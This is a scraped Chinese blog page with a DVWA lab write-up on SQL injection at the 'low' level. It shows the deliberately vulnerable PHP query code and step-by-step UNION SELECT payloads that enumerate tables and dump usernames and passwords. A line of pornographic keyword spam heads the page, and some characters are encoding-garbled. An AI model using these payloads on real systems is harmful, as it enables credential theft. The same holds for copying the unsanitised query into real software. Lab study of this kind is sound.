日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA sql注入 WP

發(fā)布時間:2025/3/8 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA sql注入 WP 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

sql注入基本思路:
1.源碼
2.判斷數(shù)字型和字符型
3.猜測字段數(shù)
4.查詢數(shù)據(jù)庫中的字段
5.查詢表中的字段
6.查詢user表中的字段
7.拿字段中數(shù)據(jù)

low:

1.源碼:

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]); }?>

可以看到?jīng)]有任何過濾語句
2.判斷數(shù)字型和字符型:
加單引號: 1' 回顯失敗

加判斷 1 and 1=1 回顯正常

判斷:1 and 1=2,回顯正常且查詢成功,可判斷不是數(shù)字型注入

判斷:1‘ and '1'='1,回顯查詢正常

判斷:1’ and ‘1’='2,回顯失敗

說明類型為字符型注入
3.猜測字段數(shù):
格式: order by 數(shù)字 #
數(shù)字是將這n個數(shù)字按順序列出,#井號作用是屏蔽之后的語句

回顯錯誤:1' order by 3 #

4.查詢數(shù)據(jù)庫中的字段:
union select聯(lián)合查詢

查詢出兩個字段: First name 和 Surname
5.查詢表中的字段
語句:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
group_concat : 返回結(jié)果為連接參數(shù)產(chǎn)生的字符串,并將group by產(chǎn)生的同一個分組中的值連接起來,返回一個字符串結(jié)果。

也 可以用concat函數(shù),只是結(jié)果會分開,不如group_concat直觀

結(jié)果:查詢出guestbook 和 users兩個表名

6.查詢user表中的字段
語句:1' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' #
發(fā)現(xiàn)敏感字段:user-id,password

7.拿字段中數(shù)據(jù):
語句:1' union select group_concat(user),group_concat(password) from users #

除此之外,user_id中是數(shù)字序號,firstname中是用戶名,last_name中是姓。。。。等等,都可以通過語句得到

dvwa 的sql模塊似乎出了點(diǎn)問題,低中高三級都打不開了。。。。

總結(jié)

以上是生活随笔為你收集整理的DVWA sql注入 WP的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。